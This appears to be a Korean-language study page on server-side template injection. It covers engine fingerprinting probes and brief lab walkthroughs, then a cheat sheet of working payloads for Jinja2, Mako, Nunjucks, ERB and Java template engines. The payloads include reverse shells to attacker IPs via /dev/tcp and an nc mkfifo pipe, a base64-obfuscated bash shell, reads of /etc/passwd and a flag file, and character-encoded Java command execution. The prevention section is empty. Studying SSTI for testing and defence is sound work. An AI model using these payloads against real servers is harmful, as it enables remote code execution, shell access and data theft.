SSTI (Server-side template injection)

SSTI (Server-side template injection)

in

Server-side template injection

๐Ÿ”Ž What is SSTI?

Server-side template injection(SSTI)์€ ๊ณต๊ฒฉ์ž๊ฐ€ ํ…œํ”Œ๋ฆฟ ๊ตฌ๋ฌธ์„ ์‚ฌ์šฉํ•˜์—ฌ ์•…์„ฑ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๊ธฐ์กด ํ…œํ”Œ๋ฆฟ์— ์ฃผ์ž…ํ•˜์—ฌ ์›ํ•˜๋Š” ํ–‰๋™์„ ์„œ๋ฒ„์ธก์—์„œ ์‹คํ–‰๋  ์ˆ˜ ์žˆ๋Š” ๊ณต๊ฒฉ์ž…๋‹ˆ๋‹ค

๋‹ค์–‘ํ•œ ํ…œํ”Œ๋ฆฟ์ด ์žˆ๊ณ  ํ…œํ”Œ๋ฆฟ๋งˆ๋‹ค ๋ฌธ๋ฒ•์ด ๋‹ค๋ฅด๊ธฐ ๋•Œ๋ฌธ์— ๊ณต๊ฒฉ์„ ํ†ตํ•ด ํ…œํ”Œ๋ฆฟ์„ ๊ตฌ๋ถ„ํ•  ์ˆ˜ ๋„ ์žˆ์Šต๋‹ˆ๋‹ค.
${7*7} ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•œ ํ›„ a{*comment*}b ๊ณต๊ฒฉ๋ฌธ์„ ์ž…๋ ฅํ•˜์˜€์„๋•Œ ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅ์ด ๋˜๋ฉด Smarty
๊ณต๊ฒฉ ์ž…๋ ฅ๊ฐ’์ด ๋‚˜์˜ค๋ฉด์€ ${"z".join("ab")} ๊ณต๊ฒฉ ์ถ”๊ฐ€ ์ž…๋ ฅํ•˜์—ฌ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

template-decision-tree

๋˜ํ•œ response X-Powered-By ํ—ค๋”๋ฅผ ํ†ตํ•ด์„œ๋„ ํ”„๋ ˆ์ž„์›Œํฌ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

แ„‰แ…ณแ„แ…ณแ„…แ…ตแ†ซแ„‰แ…ฃแ†บ 2022-04-09 แ„‹แ…ฉแ„’แ…ฎ 8 05 41

Basic server-side template injection with Mako template

Python ๊ธฐ๋ฐ˜์˜ Mako ํ…œํ”Œ๋ฆฟ์„ ์‚ฌ์šฉํ•˜๋Š”๊ฒƒ์„ ์•Œ์•˜์„ ๊ฒฝ์šฐ ์‚ฌ์šฉ๊ฐ€๋Šฅํ•œ ์ทจ์•ฝ์  ์ž…๋‹ˆ๋‹ค.

์ด๋ฏธ์ง€ 1 ํŒŒ๋ผ๋ฏธํ„ฐ ์ „์†ก

์ด๋ฏธ์ง€ 2 SSTI ์ทจ์•ฝ์  ํ™•์ธ

์ด๋ฏธ์ง€ 5 ํŽ˜์ด๋กœ๋“œ URL ์ธ์ฝ”๋”ฉ

์ด๋ฏธ์ง€ 4 ๊ณ„์ •์‚ญ์ œ ๋ช…๋ น์–ด ์ž…๋ ฅ์„ฑ๊ณต

Basic server-side template injection (code context)

Python ๊ธฐ๋ฐ˜์˜ Tornado ํ…œํ”Œ๋ฆฟ์„ ์‚ฌ์šฉํ•˜๋Š”๊ฒƒ์„ ์•Œ์•˜์„ ๊ฒฝ์šฐ ์‚ฌ์šฉ๊ฐ€๋Šฅํ•œ ์ทจ์•ฝ์  ์ž…๋‹ˆ๋‹ค.

์ด๋ฏธ์ง€ 1 7x7 ์ž…๋ ฅ

์ด๋ฏธ์ง€ 2 ์ทจ์•ฝ์  ํ™•์ธ

์ด๋ฏธ์ง€ 3 Tornado ํ…œํ”Œ๋ฆฟ ๋ฌธ๋ฒ• ํŽ˜์ด๋กœ๋“œ ์ž…๋ ฅ



๐Ÿ”ฅ Cheat sheet

  • Jinja2 (Python)
# Exploit the SSTI by calling subprocess.Popen
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
# Reverse shell
echo -ne 'bash -i >& /dev/tcp/10.10.14.8/9001 0>&1' | base64
-> YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44LzkwMDEgMD4mMQ==
{{config.__class__.__init__.__globals__['os'].popen('echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44LzkwMDEgMD4mMQ==${IFS}|base64${IFS}-d|bash').read()}}
  • Mako (Python)
    ${5*5}
    ${open('/flag.txt').read()}
    
  • NUNJUCKS (NodeJS)
# Basic injection
{{7*7}} = 49
{{foo}} = No output
#{7*7} = #{7*7}
{{console.log(1)}} = Error

{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
# " ๊ฐ€ ๋ฌธ์ž์—ด๋กœ ์ธ์‹๋  ๊ฒฝ์šฐ \ ์‚ฌ์šฉ
{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')\")()}}
{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 9001 >/tmp/f')\")()}}
  • ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Error

<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
  • Java
# Multiple variable expressions can be used, if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}

# Java - Retrieve /etc/passwd
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

๐Ÿ‘€ How to Prevent ?


๐Ÿ“ƒ References